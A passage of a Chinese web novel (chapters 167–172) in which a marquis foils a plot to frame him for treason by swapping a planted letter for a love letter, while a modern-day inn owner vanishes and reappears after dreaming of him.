这是他的手下青理的声音,青理除了是暗卫外,平日也贴身伺候他的起居。而他问话的,应该是之前藏在箱子里被莫名带到客栈去的那个小丫鬟。 回来之后,那小丫鬟吃了云承月的药,已然忘却了之前去过客栈的事情,又因为无处可去,如今正安安分分在侯府里做个洒扫的小丫鬟。 她和齐月娘作伴,两人每天都会替裴应见打扫起居各处,卧房这边也是。 只是平日这个时辰,裴应见早已起身到隔壁练功的院子去练武去了,和这小丫鬟并不会照面。 但是今天,这不是情况实在特殊么? 如若被两人发现了他的房里还多了一个人,那可就…… 裴应见便想睁开眼,却发现秦绵绵身形也是一滞。 显然她应该也听到了外面的声音,但下一刻她却喃喃出声:“月娘?小月娘不是在那个古怪大宅和野兽搏斗么,怎么会在这家伙的府上?” 随即又道:“算了,反正是做梦,我想那么多做什么。” 于是干脆也不管外面的声音,仍然继续自己的“宏图大业”。 裴应见急忙紧紧闭上眼,但却还是被她察觉了异常。 秦绵绵顿了顿,忽然轻笑:“大侯爷,你不乖哦,你竟然敢骗本姑娘我!你明明已经醒了,还要装睡,安的什么心思?” 糟糕,还是被发现了。 裴应见心中暗自叫苦,一时不知道到底该不该睁开眼。 秦绵绵却忽然恶劣一笑:“不说话?不说话我可不客气了。” 说着,一只温热的小手就忽然往下探去。 裴应见:!!! 他猛地睁开眼,同时猛地抓住她不安分的手。 “别动……” 发出的声音却迷离不已,就如同他此刻的眼睛。 男人深深呼吸了一下,才慢慢睁大眼睛,找回自己的声音。 他望着眼前眉目分明的脸,那正是自己心心念念的那个人。 他心神一热,忽然伸手,用力一捞,就将她彻底禁锢在了自己的怀里。 “绵绵,到底是谁不乖。嗯?” 秦绵绵抿着嘴笑了笑,下一刻,却忽然一阵天旋地转—— 男人一个翻身,直接攻守异位,把她压在了下面。 “不给你点教训,你便不知道在本侯这里,到底谁是老大。” 他说着,径直将她方才不安分的这双手掐在手心里,按在了她的头顶上。 此刻的秦绵绵看起来似乎终于老实了。 她悄悄咬着下唇,目光瞬也不瞬地盯着眼前的人,似乎是在挑衅,又似乎还有别的意思。 男人的呼吸又忍不住急促起来。 就在他再也控制不住,准备立刻把她吃掉的时候,却忽然猛觉手中一空! 接着整个人砰的一声,突然就掉落在了床板之上。 而本来被他禁锢住的秦绵绵,竟就这样,突然消失不见了! 第167章 追踪 裴应见好一会儿才接受了秦绵绵在自己眼前突然不见了的这个事实。 她就这么消失了。 或者说,她走了,回她那个时代去了。 虽然理智已经回笼,告诉他这是正常的——就好像她突然出现一样。 应该是她还没学会要怎么控制,又或者有什么别的紧急原因。 可这种空落落的心情,却仿佛是心的上面突然破了一个洞,呼呼地漏风,怎么也止不住。 他突然有点恍然,知道每次自己消失的时候,秦绵绵是什么感觉了。 她是否也会觉得心里空了一块呢? 他又想起自己最后一次回来的时候,两个人似乎算是吵架了,他一生气,就在她面前突然就走掉了。 也不知道看到他突然消失的那一刻,她的心里,究竟是什么感觉。 一念至此,裴应见只觉得自己心里的那块空洞又大了些。 他恨不得此刻就跟随她的脚步而去,直接到客栈跟她说道歉。 但就在他还没有所动作的时候,外面忽然又传来小丫鬟低低的声音: "好啊,待会儿我们一起去吃早饭……不用管月娘,她估计早就吃过早饭了……她起的特别早,去打扫书房了,这会儿肯定早就打扫好了……" 裴应见一个翻身坐了起来,眉心拧成一团。 府上的这两个女子他还是很了解的,她们平日里很守规矩,不该乱动的绝不乱动。 平日里她们只负责打扫他起居的这几个地方,书房虽然也打扫,但却是在他示意的情况下,而且他会看着她们做。 像今天这样突然早早起来悄悄去打扫的情况,还是第一次。 "齐月娘……" 裴应见慢慢咀嚼了一下这个名字,忽而又想到秦绵绵刚才说的那句话——她说,小月娘应该在一个古怪大宅和野兽搏斗。 这话的关键,就在于这个"小"字。 他之所以会关注月娘这个人,全都是因为秦绵绵曾在梦中喃喃这个名字,同时也提到了春南观,他听到了,才会派人去搜寻春南观和月娘这个人,从而在归途的时候,从春南观救下了这个齐月娘。 但此刻秦绵绵的话里,似乎她梦中所见的那个月娘,并不是他救下的这个月娘? 思及此处,裴应见立刻起身披衣,他没有开门,而是从后窗悄悄翻出去,趁着微亮的天光,悄悄摸去了府上的地道入口。 他从地道进入了书房。 正如小丫鬟所说,书房已经被齐月娘打扫过了,此刻十分干净整洁。 但裴应见却对自己的书房再熟悉不过,他转了一圈,很快发现了不对劲的地方。 然后就在一个十分隐秘的角落,搜捡出了一封信。 打开信一看,他的呼吸忍不住跟着一窒。 接着,慢慢地勾起了凉薄的笑意。 这是一封足以杀头的,记载着通敌叛国证据的密信,很显然,有人千辛万苦地放在了他的书房里,为的就是陷害他。 很好,手伸的够长,他要是不剁掉这只手,背后那人就不会知道什么叫做疼。 裴应见收起了信件,转身就走,忽然又停下,转身回到桌案前,取了一张纸写了一些东西,复又塞进信封中,仍然放回了那藏信的地方。 不多时,云承月来了,和裴应见在密道相见,裴应见将此事如此这般跟云承月一说,云承月立刻打开自己的药箱,挑挑拣拣拿出一颗药丸。 "喏,拿去,别管是月娘还是什么娘,保管她跑不了。" 裴应见便立刻吩咐青川去做这件事。 云承月却十分好奇:"你是怎么怀疑上这个齐月娘的,之前不说她很老实本分么?" 裴应见自然不会把秦绵绵忽然来了这里,两个人还差点擦枪走火的事情告诉他。 他只说:"保密。" 云承月笑笑,也不强问,兀自回到密室里睡觉去。 他近来心疾发作的频率越来越高了,来见裴应见一趟就很耗费精力,所以得随时随地地休息以恢复体力。 而裴应见,在秦绵绵回去之后,他本来是想立刻跟随她而去的,但此刻现在齐月娘的事情更重要,只好在此再耽搁一会儿。 不过好在青川效率很高,没用两天就查清楚了关于齐月娘的所有猫腻。 "她悄悄与一乔装打扮后的神秘人相见,属下跟踪那人,查清楚此人竟是朝廷命官,就是……" 不等他说完,裴应见冷笑着接口:"猜得不错的话,应该就是甘彦。" "正是此人。" 云承月摇摇头:"我是真的想不明白,若是说甘彦是在为皇帝做事,那绝对是不可能的。而且近来调查的线索都显示,他跟五皇子走得很近,应当是三皇子不成器没了之后,他把注都下在了五皇子身上。" 裴应见点点头。 云承月继续道:"只是我左思右想都想不明白,按理说他不管扶持哪个皇子登位,都跟你没太大关系,他为什么偏偏一定要置你于死地呢?" 这个问题,裴应见其实也想了很久了,但他也没有答案。 他想了想,派了几个得力的人接着去查,自己则回到卧房安寝。 上次秦绵绵来过之后,他就再也不让任何人踏入自己的卧房了。因为他总觉得,只要不打扫,这里就还残留着她的气息。 即便此刻不能立刻去见她,能呼吸一些她的气息也是好的。 裴应见躺倒在床上,回想着那天的情形,许久,他翻了个身,却突然从靠着墙边的床缝里,摸到一个很硬的东西。 取出来一看,他的瞳孔骤然收缩—— …… 这一边,如意客栈里的员工们这会儿都已经疯了。 因为他们一个没看住,竟发现自家掌柜的失踪了! "我就说你靠不住,你还不承认!"罗小胖歇斯底里地暴走着,"我就是下去做个饭,让你守着点掌柜的,你倒好,你打盹!也就半个小时的功夫,人竟然就能不见了!" 罗小胖气得脸红脖子粗的,仍不解气,冲上去一把拽住姚祁的领子:"你告诉我,掌柜的人呢!人呢!!" 一向骄傲的姚祁此刻被如此对待,竟也没有半分脾气。 他只铁青着脸,任由罗小胖质问,一句话不说。 因为他也不知道该说什么。 这件事他实在理亏,因为秦绵绵,确实就是在他的跟前,消失不见的。 第168章 认尸 因为秦绵绵一直昏睡不醒,客栈众人都很揪心,姚祁干脆摇来了医疗团队,给秦绵绵先注射营养液,以确保她的身体不会出问题。 大伙儿生意也不做了,这几天就专心照顾秦绵绵。 本来大伙儿商量的是轮流照顾,但姚祁却自告奋勇也要加入贴身伺候的行列。 几个女孩子本来是不同意的,但经不住姚祁的软磨硬泡,最终只好同意他在白天的时候短暂守着秦绵绵一会儿,让其他人歇歇。 但谁知道这天就出了事。 姚祁也不过就是打了个盹,最多十分钟没看见秦绵绵而已,本来昏迷的秦绵绵,竟就这么在他的眼皮子底下,消失不见了。 见罗小胖气得青筋都快爆出来了,叶子舟连忙过来拉开他的手:"事到如今着急也没有用,不如先想想办法。" 罗小胖这才回过神来,急忙去找自己的人脉,调动周围的监控去了。 左右不过半个小时而已,他就不信掳走掌柜的人能飞不成! 姚祁被松开,也立刻拿起手机,吩咐自己的手下兵分两路: 一路以景区为中心,守住附近所有的出入路口,务必把每一辆车都监控到位;另一路进景区来,直接把景区翻个底朝天,务必不放过每一寸土地,一定要找到秦绵绵的蛛丝马迹! 其他人也没闲着,他们分头去客栈四下翻找,万一秦绵绵并不是被人掳走,而是自己醒了去了别的地方呢? 又或者干脆是梦游了呢? 毕竟叶子雯检查过房间之后说了这输液的针头看着不像是被暴力拔下来的。 大家猜测了各种各样的可能情况,却没有一个人猜得到,秦绵绵此刻,其实就在二楼某一间客房的厕所里。 她醒来的时候,也是一脸懵逼。 睁开眼,第一感觉是懵。 她知道自己睡了很久,按理说醒来的时候最起码应该是在床上,但没想到会是在马桶上,真是奇葩。 回过神来之后,第二感觉就是遗憾。 她清楚地知道自己又做梦了,先是梦到了之前的那个小姑娘秦月娘,跟着看到她如何习武,如何上京,如何被那怪和尚骗到那吃人的大宅里面去历练。 再然后,她又不知道怎么,飘飘忽忽地就梦到了裴应见那个家伙。 秦绵绵动了动手指,抚上自己的手腕。 梦醒之前,被那个男人禁锢住双手推到头顶上的感觉还清晰可辨,那么真实,就像是真实发生过的事情一样,一点也不像是梦境。 秦绵绵呆愣着回味了半天男人欺身压下来的那种感觉,这才终于转头看看四下,叹了口气。 再旖旎的画面,也不过是梦境而已。 而最可惜的是,梦的时间实在是太短了,短到梦里的他还没来得及做什么,她也没来得及对他下手。 秦绵绵再次十分可惜地叹了口气,这才不舍地从马桶上站起来。 然而下一秒,好几天滴水未进的饥饿感排山倒海一般向她袭来,她想控制都控制不住,就双腿一软,再次往地上倒去。 客栈里乱成一团的众人,在听到二楼传来的奇怪的声响后,顿时蜂拥而至。 姚祁一马当先,踹开房门,二话不说,直接把再度昏过去的秦绵绵打横抱起。 把人送回房间,他拿出手机:"一队撤退,二队回到客栈门前等候,另外叫医疗团队五分钟之内到达!" …… 两天后,青义赶来回报。 "属下按照侯爷吩咐,仍旧追查甘彦那个服毒自尽的手下,终于查知了他离京之前的行踪。" 说罢,青义忽然让人抬了一个担架进来,那担架上盖着白布,底下很显然是躺着一个人。 但众人却知道这底下肯定不是一个活人了,因为担架还未走近,熏人的恶臭就将整个院子笼罩,让周围的待命的暗卫们都几欲作呕。 连医术超群还学习了解剖之术的云承月也没能幸免,在白布揭开之前,他就忍不住到一边呕吐去了。 只有裴应见还面沉如水,看了片刻,直接道:"打开。" 青义依言掀开白布,露出了一具已经被蛆虫蚕食的不成人形的尸体。 青义也脸色难看,但还是回报道: "此人乃是被甘彦那手下所杀,又埋尸在荒野的。但据手下调查,此人乃是京城一官员,官职不高,祖籍青州,姓……齐。" 裴应见已露出了然的神色,似乎早就知道会有这样的结果一样。 他转头让青理去喊齐月娘。 云承月吐了一遭回来,看到这千疮百孔朽烂不已的尸体,还是十分想吐。 他捂着口鼻闷闷发问:"人家千辛万苦来京城找爹,你就找这么个爹给人家啊?" 裴应见冷笑:"那也比随便认贼人当爹要好。" 齐月娘在到来之前就已经脸色惨白了。 她把那封密信放进裴应见书房后,每日都惴惴不安,又怕被裴应见发现,又着急父亲为什么还不动手来查。 就这样,一日日提心吊胆地过着,谁知今天突然被喊到裴应见那里去,她心里立刻知道不好,恐怕是事发了,于是在来的路上,就已经做好了赴死的打算。 但她万万没料到,裴应见却是喊她来认尸的。 "你来瞧瞧,这人你认不认得。" 齐月娘怎么可能认得? 尸体早已经烂的都没有人形了,就算是他亲娘来了,也不会认得的。 且她心虚,还得猜测裴应见让她认尸的用意,是否是在试探她。 再加上尸体实在腐烂恶心,气味骇人。 于是在对上那爬满蛆虫的尸体之后,只一眼,齐月娘就承受不住,晕了过去。 但裴应见并没有给她太多时间,她很快被泼醒,又开始了第二轮的验尸。 这一次裴应见直接给了她提示,询问她的父亲有什么身体上的特征。 齐月娘呆了半晌,才道:"父亲幼时生了一场大病,好了之后就有点跛脚……少年时他从山崖摔下来过,骨裂了半年才愈合……" 云承月捂着口鼻,慢慢走到尸体旁边,饶是根本看不见,却依然用手中的木棍精准地找到了齐月娘所说的这两个位置。 戳开腐烂的皮肉,露出骨头,让众人查看。 第169章 深夜搜查 齐月娘见这尸体上竟有和她所说别无二致的陈年伤痕后,也目瞪口呆。 裴应见适时道:"此人姓齐,六品京官,祖籍青州,十多年前来京,据说老家还有一妻一女。" 齐月娘于是再次晕了过去。 …… 终于找到了自家掌柜的,客栈众人一起把秦绵绵护得跟眼珠子似的,生怕再丢了。 而秦绵绵也闭口不谈自己到底是怎么会莫名其妙到了那间客房里去的,大家伙也就不好乱问,只是私下猜测秦绵绵除了嗜睡症,还患上了梦游的症状。 而这些症状,都是在那位裴先生又突然消失不见之后就突然患上的。 罗小胖啧啧:"这恐怕不太好办啊。" 姚祁不语,只是一味地摇人,几天时间,分别把京城和沪城的各种专家都摇了过来,但很可惜,仍旧对秦绵绵的症状束手无策。 不过秦绵绵到底是练家子,没两天就恢复如初了,第三天就正常工作了,除了安排客栈的工作之外,还带了姚祁一起去视察工地。 影视城这边基本上就算是完工了,只等装修到位就可以营业,也就大概还有一个月的时间。 景区扩建这块,秦绵绵打算新上一些娱乐项目,正在建设中,不过有赵立生帮忙盯着,她也不用太操心。 主要需要操心的,还是楼盘这里。 贾芊芊倒台以后,她拍下的那块楼盘又还了回去,如今还是荒芜着,秦绵绵干脆大手一挥也拍了下来,准备改造成小区配套的公园,提升一下楼盘的整体价值。 楼盘正在如火如荼地施工中,秦绵绵进了工地,取了安全帽,和姚祁一人一个,一起到最近的几栋楼里去视察。 一路走来都没什么问题,可就在准备离开的时候,突然出事了—— 一个工人在脚手架上没按规定佩戴安全绳,走动的时候,突然脚下一空,整个人跌落下去! 秦绵绵正好走到附近,见状一个箭步窜上去,猛地拉住了那工人,才没让他掉下去。可那工人似乎是被吓傻了,反应过来之后,猛地尖叫挣扎起来。 秦绵绵一下子拉不住他,眼看就要脱手,她急忙使劲,将那工人猛地拽上来,而她自己却因为工人的挣扎,径直撞上了旁边的钢筋,瞬间擦伤了手臂。 天气已经暖和了,秦绵绵穿的少,这一擦就擦得不轻。 鲜血很快渗出来,沾透了衣衫。 周围的工人们全都吓傻了,工头儿急忙跑过来,对着工人们劈头盖脸就是一顿骂。 姚祁的脸早已黑了,他不敢乱动秦绵绵的伤口,干脆直接一把抱起她,转身就走。 工头儿吓得跟什么似的,急忙跟上去,姚祁却冷冷怒斥了一句:"违规操作的,全部开除!" "啊,是是是,姚先生您别生气,我一定会开……" 谁料姚祁下一句却道:"还有你,你也是,自己卷铺盖滚蛋!" 姚祁迅速开车把秦绵绵送到了医院。 伤口确实很严重,需要住院治疗,罗小胖等人也闻讯赶来。 见大伙儿都守在床前,秦绵绵失笑:"哪里就那么严重了,看你们一个个急的,赶紧都给我滚回去,客栈还要开张呢。" 姚祁脸色还是很黑:"开什么张,不开了!什么都没有你身体重要。" 大伙儿一时没人接话,怎么说呢,姚祁这话说的,多少有点儿越界了吧?但是他们却谁也不敢多问。 只有罗小胖,没人处,拉住姚祁质问他到底是怎么保护掌柜的的。 姚祁据实说了,罗小胖一阵无语,之后忽然道:"要么,咱们找个大师给看看?" 姚祁:"封建迷信要不得。" 罗小胖:"那你说这两天接二连三这是怎么回事?" 姚祁:"我正好认识一个港城的大师,你等着。" …… 夜半。 镇国侯府,四下静谧一片。 忽然,火光突起,照亮了府邸四周。 杂乱的脚步声包围了侯府前后,有人开始凶神恶煞地砸门。 不等门房开门,甲胄整齐的禁卫军们直接破门而入,直冲内院! 带头的禁卫军统领仿佛早有目标,直接指挥手下朝裴应见的书房扑去。 不多时,就从里面搜出一封信来。 禁卫军统领脸色铁青:"有人告你密谋造反,如今果然证据确凿,裴应见,你还有什么话说!" 对面,裴应见一袭常服,仪容略有点懒散,似乎是好梦未醒,脸上还略带着些慵懒的恼怒。 他看向对面的禁卫军统领,一脸的不快:"大张旗鼓冲进我侯府搜查,为的就是这种东西?" 禁卫军统领冷笑连连:"看来侯爷是不见棺材不掉泪啊,也罢,就让你陛下面前死个明白,来人,带走!" 众禁卫军听令,就要蜂拥上来拿人。 裴应见却不紧不慢来了一句:"且慢。" 禁卫军统领:"某家才不会听你狡辩,多说无益!" 裴应见却不理他,反而在院子里慢慢踱了几步,然后像看傻子一样看向他: "你怎么就知道你手里的这东西,就是所谓的造反的证据呢?要不,将军还是打开看看的好。" 禁卫军统领一昂头:"我说了,狡辩是没有用的,来此之前,陛下早已嘱咐过我,而此物的藏身地,正是告密之人说的!" "哦?那我就好奇了,这个人一定是我贴身之人,不然怎么会对我的事情如此了如指掌呢?" "那侯爷你就更应该反省了,是否做的太过分,以至于天怒人怨,连身边人都看不下去了!" 裴应见却没有反驳,反而还点了点头,仍是一派云淡风轻道: "这样吧,你还是打开看看,如果真的是谋反罪证呢,我绝不反抗,一定跟你走。但如果不是的话……呵呵,我这侯府,也不是这么容易随便进出的。" 禁卫军统领却是个莽夫,被这么一激将,哪里有不急的,当即瞪大铜铃似的一双眼睛,就把那信件抖搂开了,开始念: "……绵绵吾爱,一别两个时辰而已,却如二十年之久……" 只一句,后面他再也念不出了。 禁卫军统领一张刚毅的脸也瞬间涨成了猪肝色—— 谁能告诉他,本该是通敌卖国的造反信件,怎么会变成了一封情书!! 第170章 裴应见要逼宫? 普通的情书也就罢了,这情书上写的这都是些什么! 什么“一别两个时辰就好像二十年之久”,肉麻不肉麻! 这得是多大的一个大情种啊! 啊呸! 早知道这信上写的是这种东西,打死他也不会当着众手下的面念出来。 现在好了!他的脸全都让这封信给丢尽了!! 在场的听到这封信的人,也都齐齐变了脸色。 禁卫军统领平常是个不苟言笑的刚强汉子,竟然会读出这种东西,你别说,还真不是一丁点的反差。 旁边的手下有一个算一个,那可是全都听得一愣一愣的。 甚至还有几个,眼看自家统领这个脸色,简直忍不住要笑出来了。 一旁,裴应见也淡淡地勾起了笑容。 这下不用说,瞎子也能看得出来这全都是他的手笔了。 可偏偏他还笑得出来,也不知道是在笑禁卫军统领吃瘪,还是在笑这信的内容——一旁的青川在心中腹诽,自家侯爷的这个笑容,怎么看怎么都觉得好像是对这封信十分满意啊。 这,该不会是他的得意之作吧? 噫~ 青川想到此处,忍不住出了一身的鸡皮疙瘩。 只因为禁卫军统领的这一句话,本来肃杀的抄家气氛,一下子就尴尬在了这里。 裴应见胜券在握,所以也不说话,专等禁卫军统领接下来有什么话说。 对面,禁卫军统领的脸色变了好几变才终于恢复正常,想了一想,才咬牙挤出几个字:"某家不识得几个字,这封信既然是从侯爷书房的秘密处搜出来的,肯定不一般,需得拿回去给陛下看过再做定夺!" 说完他转身就想走,谁知裴应见却万万不是个省油的灯,一步窜过来就拦在他面前:"既然这样,本侯也跟随将军进宫,一起到陛下面前分辨分辨。" 禁卫军统领面色大变:"这就不必了吧!" "怎么,难道本侯连自辨的机会都不配有么?将军莫要犹豫了,走吧,本侯答应你,路上绝不作妖。" 说着,还上前一步,径直揽住了禁卫军统领的肩膀,俨然一副好兄弟的架势。 禁卫军统领这个气啊,气得简直直打颤。 没搜到证据却搜到情书已经够丢人了,还要把这丢人的事情直接捅到皇帝面前去,他以后还怎么混?! 这个该死的裴应见! 他本来是打算在路上把这封破情书随便一丢,就当做今晚什么都没搜到就算了。 这个家伙,他为什么偏偏一定要去!! 然而事情已经到了这个地步了,什么都由不得他,就算他不肯,裴应见也会自己跑去皇帝面前的。 到时候要是万一还添油加醋,那可就真是塌了天了! 最后,禁卫军统领只能收了队,苦着一张老脸,跟裴应见一起进宫去了。 而裴应见这边一起进宫的却还有其他人,他也没细看。 皇宫里,皇帝却已摩拳擦掌等待多时。 禁卫军统领带去的人并不多,但今晚皇帝却已经调集了大批兵马,潜伏在京城四下,只等禁卫军统领搜查出裴应见的谋反罪证。 倘若他肯乖乖认罪伏法倒也罢了,但凡他敢有所异动,他便立刻有了借口,就可以直接挥兵过去,踏平他的镇国侯府! 要知道,这个镇国侯府可是一根尖刺,长在他的心上,已经二十多年了啊。 皇帝又紧张又兴奋地在大殿里来回踱步,同时等待着消息。 按照他所料,裴应见是万万不可能什么都不做就束手就擒的,他肯定会负隅顽抗。 这就回给他打击他的机会,所以,今夜一定是一个战况激烈的不眠之夜。 然而,现实却让他失望了。 他等了一个时辰,又一个时辰,宫外却始终没有动静。 "再探!再报!" 然而,一炷香之后,他没等来探子,却直接等来了他最不想见的人。 裴应见一袭月白色长衫,在月色之下显得十分清雅飘逸,他脚步不急不缓,奕奕然踏入了大殿之中,却把皇帝吓得险些一个踉跄。 皇帝紧紧握住心腹太监的手,脸色煞白。 怎么回事?难道禁卫军统领已经给裴应见杀了? 裴应见这厮还直接干翻了侯府四周埋伏的兵马,直接杀进皇宫里来了? 皇宫里的守卫难道都是吃干饭的,不,难道他们早已经都被裴应见收买了吗? 裴应见这厮,难道是要逼宫?! 皇帝越想越是心惊,双腿一软,简直要站不住了。 然而,裴应见却身形潇洒地走上前来,突然朝他跪下,行了个礼。 皇帝懵了片刻,才看到了后面跟着的禁卫军统领,以及他尴尬不已递上来的那封信。 然而,后知后觉了解到事情全貌的皇帝,脸色更黑了。 这眼下的情况,似乎并不比被裴应见逼宫好多少吧? 皇帝捏着信的指节都因愤怒而发白,但面上却不能显露分毫。 他悄悄深吸了一口气,才找回自己的正常声音: "看来此事,是朕误会了望之啊。奸人挑唆,实在可恶!" 一句话,就把自己摘了个干净,把罪名都推到了背后那告密之人身上。 而且按照皇帝的德行,那肯定是不可能说出告密之人到底是谁的,如果裴应见实在要问,他就会说是匿名,反正也无可查证。 更有甚者,他还会反将一军,质问裴应见为什么这么不得人心,为什么别人不会被诬陷,偏偏有人处心积虑要诬陷他呢? 要知道,苍蝇可是不叮无缝的蛋啊。 皇帝在心中简直为自己的这番应对沾沾自喜,却不料,裴应见却根本就不按套路出牌。他不仅不进入他的圈套,相反,他还是来给他设圈套的。 只见他淡淡一笑:"是啊,背后奸人实在可恶,好在微臣早已有所提防,早就找到了这奸人的线索了。来人啊,带人证!" 然后,在皇帝震惊的脸色中,一个年轻女子被带到了大殿之上,进来便瑟瑟发抖地跪倒在地。 裴应见让她抬起头来面圣。 这女子不是别人,正是齐月娘。 第171章 你算哪门子的父亲 皇帝并不认识齐月娘,但这并不妨碍他感觉不妙。 在这个女子被带进来的时候,他就已经感觉不妙了。 诬陷裴应见的证据虽然不是他放的,甚至不是他授意的,但是他却了解全程,甚至默许了这件事。 但此时此刻,这个被带进来的瘦弱女子,就好像一把刀,直接划开了这张本应笼罩住裴应见的大网。 齐月娘上了殿,虽然紧张发抖,却仍应对自如,三言两语,就把自己如何上京寻父,又如何被人蒙骗,把罪证放在裴应见书房的事说了出来。 皇帝脸色铁青:"是与不是,全凭你一句话,朕又怎么知道你此刻说的就是真话呢?来人啊,用刑!不用刑这狡诈的小女子是不会说实话的!" 立刻就有宫人近前来要把齐月娘拖走,齐月娘立时高声哭叫起来: "皇上您不信我,还能不信侯爷吗?侯爷他真的忠心耿耿啊!还是侯爷找到了家父的遗体,我才知道是被奸人骗了,侯爷他是个好人啊!" 皇帝一愣,就在这愣神间,裴应见立刻插了话:"陛下,请传齐父的遗体上殿,是真是假,一验便知!" 皇帝瞪大了眼——这小兔崽子到底在说什么,他竟然想传尸体上殿! 当这里是什么地方?这是金銮殿啊! 怎么可以把那么晦气的东西弄进来! 晦气!! 裴应见自然也知道皇帝肯定不会同意的,这么说只是暂时将他一军,他还有后招。 果然,皇帝没说话,心腹太监替他说话了: "大胆!金銮殿上竟敢大不敬!" 裴应见轻轻摸了摸鼻子:"公公说的也是,这么晦气的东西确实不适合抬上大殿,那么,就请陛下找经验丰富的仵作验一验吧。至于大殿上么,咱们可以找其他证人。" 皇帝眉头一皱:"谁?" "就是背后欺骗齐月娘的那个人。" …… 甘彦做官以来,还从来没有被半夜叫到宫中过,今晚这是第一次。 幸亏他知道这几天一定有事,没叫姬妾伺候,都是自己一个人睡的,否则宫中太监来传旨的时候,就闹大笑话了。 夜行入宫途中,他心中仍旧惴惴,不知道宫中等待他的是个什么情形。 但转念一想,一定不会是坏事,倘若是皇上被裴应见制住了,他就不会是被请进宫了,说不定直接就地格杀了。 甘彦冷冷一笑——只可惜,他甘彦的脑袋却没那么好杀。 既然半夜被叫进宫内,那一定就是皇帝的授意。 究竟是什么样的事情必须半夜着急把他叫去呢? 说不定是皇帝有什么大事无法决策,这才忙忙喊他过去商议。 哎呀,说不定经过今晚,他甘彦也能登堂入室,成为皇帝的心腹之臣了。 那样的话,距离他的目标,也就只有一步之遥了。 想到此处,甘彦不禁得意地笑出了声。 然而,进宫之后,情形却好像跟他想的有点不太一样。 偌大的一个大殿之中,却并没有皇帝的人影,其他人也没有,只有一个单薄瘦弱的人影跪在空荡荡的大殿中央—— 那不是齐月娘是谁? 甘彦忍不住心中咯噔一声。 齐月娘见他来了,仿佛一下子找到了主心骨,直接朝他扑过来:"父亲!父亲您可来了!月娘都吓坏了!" 甘彦不清楚状况,按照他的谨慎性格,这种情况下是断不会跟齐月娘相认的。 但是齐月娘却扑过来一把抱住他,紧紧不放。 少女身上特有的幽香直冲鼻尖,惹得甘彦一下子就心猿意马起来,顿时也放松了警惕。 "怎么了,父亲这不是在这里了么,别哭。"说着,还替齐月娘温柔拂泪,"告诉父亲,到底发生了什么,怎么只有你一个人?" 齐月娘却笑了笑,低声道:"父亲,咱们的事,成了!" 甘彦一下子就松了口气,顿了片刻,才又问:"既然如此,那陛下呢,裴应见那厮呢?" 齐月娘道:"陛下被裴应见气到了,回去休息了,至于姓裴的,那自然是被陛下关起来了。" 甘彦听了这话,嘴角都忍不住要翘起来了。 他实在没有想到这件事竟然会这么顺利。 看来裴应见也不像传说的那么神嘛,简直就是蠢货一个。 当然了,皇帝也是蠢货。 不过,若不是他们这两个蠢货任他拿捏,他的这场戏还真不知道该怎么演呢。 但他到底是老狐狸,理智很快回神,他不着痕迹地推开齐月娘:"既然事情已经定了,那你还在这里做什么?" 齐月娘犹疑道:"其实是我一个不小心,把事情说漏嘴了……" 甘彦顿时大惊:"你,你把咱们的计划,全都告诉陛下了?!" 齐月娘泫然欲泣:"是,是我不好,父亲别生气。" 甘彦噌的一下就站了起来,慈父形象荡然无存,径直换上了一副暴躁嘴脸: "你,你知不知道这是欺君之罪!陛下要是因为这个不治罪裴应见,看你我怎么办!””你啊你,你真是个蠢货!成事不足败事有余!你把我们的计划说出来就算了,怎么能把信件也是假的这件事也抖搂出来呢!你真是个废物!" 甘彦越说越生气,说到最后,甚至直接飞起一脚,就要往齐月娘身上踹。 他这一脚可是用了全力的,齐月娘弱小的小身板要是被这么踹一脚,不被踹个半残也得躺上十天半月。 然而,齐月娘却好像早就知道他要踹她似的,在甘彦抬脚的瞬间,她就一扭身子,躲了开去,而且还直接跑了起来,跑开了十多步那么远。 甘彦傻眼了:"你还敢跑!反了天了!连父亲的话你都不听了!" 齐月娘忽然一改方才柔弱的模样,浮起一脸冷笑:"父亲?你也配称父亲?我倒想问问你是哪门子父亲?" 甘彦老奸巨猾的一个人,立刻就明白自己上当了。 他恨恨咬咬牙:"你都知道了?可惜,不过也是个蠢货而已,知道也晚了!" "晚么,也不晚。不然甘大人以为我在这里等你是做什么?" 甘彦这才意识到不好,本能的就要扑过去抓她。 然而四下却不知道从什么地方突然钻出一大堆大内侍卫,上来就直接把他拿下。 甘彦瞬间就被压倒在地,再也动弹不得。 第172章 贬官岭南 齐月娘走上前来,冷冷接着道:"我留在这里不走,为的就是让我的好父亲你,说出刚才的实话啊。" 甘彦被大内侍卫拎了起来,强制抬起脸。 此刻他一向运筹帷幄的一张脸上却全然没有了刚才的淡定,只因他看到偏殿门突然打开,皇帝阴沉着一张脸走了过来。 甘彦的心猛地沉了下去。 皇帝走到龙椅坐下,将手中把玩的串珠狠狠砸在椅子上。 自然,他此刻是再也没有心情玩串珠了,因为今晚实在是太过大起大落,他简直要被这些人给逼疯了。 甘彦啊甘彦,他怎么会是这样的一个蠢货呢? 亏他之前还那么的信任他,相信他这么滴水不漏的人,事情一定能漂亮地完成,把裴应见拿下。 而现在…… 但甘彦到底是多吃了十多年的饭,比毛躁的小年轻还是沉稳得多。 过去了惊诧那股劲儿,他的谨慎聪明又回来了。 转头四下看看,见来的只有皇帝一个人,他的心里顿时又泛上了一股喜意。 裴应见没被皇帝带来直接和他对峙,这说明什么? 说明皇帝心里还有他! 虽然在齐月娘的欺骗之下说出了实情,但是此事如果只有皇帝一人知道,那就跟没人知道没什么分别啊! 只要皇帝愿意保他,他甘彦就还是尚书大人,谁也撼动不了。 至于齐月娘这个蠢货,还不是皇帝动动手指的事儿? 只要干掉了齐月娘这个人证,那就万事大吉了。 一念至此,甘彦心下大定,于是连忙做出一副痛哭流涕的样子,跪着上前去求皇帝的原谅。 他哭得实在情真意切,说出来的话更是直戳皇帝心窝子: "……实在是因为裴应见此人包藏祸心,而陛下又处处被他掣肘。陛下仁慈,不忍杀忠臣之后,但微臣身为臣子,不能不为陛下分忧啊!" 这话就算是直接把皇帝的心里话说出来了。 "只是微臣能力不足,那奸贼藏得太深,微臣拿不住她的把柄,才只能出此下策。陛下,您一定要明白臣的拳拳之心啊!" 这话就把自己都摘干净了。 皇帝要办他么,顶多办他个办事不力治罪,毕竟他的一颗心是好的,万事都是为了陛下分忧么。 然而,皇帝却全然没有反应,甚至还皱了皱眉头,在心里骂了一句"蠢货"。 甘彦见皇帝不动不说,这才猛然察觉不妙。 然而,不等他反应,下一瞬,另外一侧偏殿的门也忽然打开了,走出来四个人,让甘彦顿时两眼一黑——不是别人,正是玄鹰司大指挥使、刑部尚书、大理寺卿、还有顺天府尹。 反正京城里能查案的人,全都到齐了。 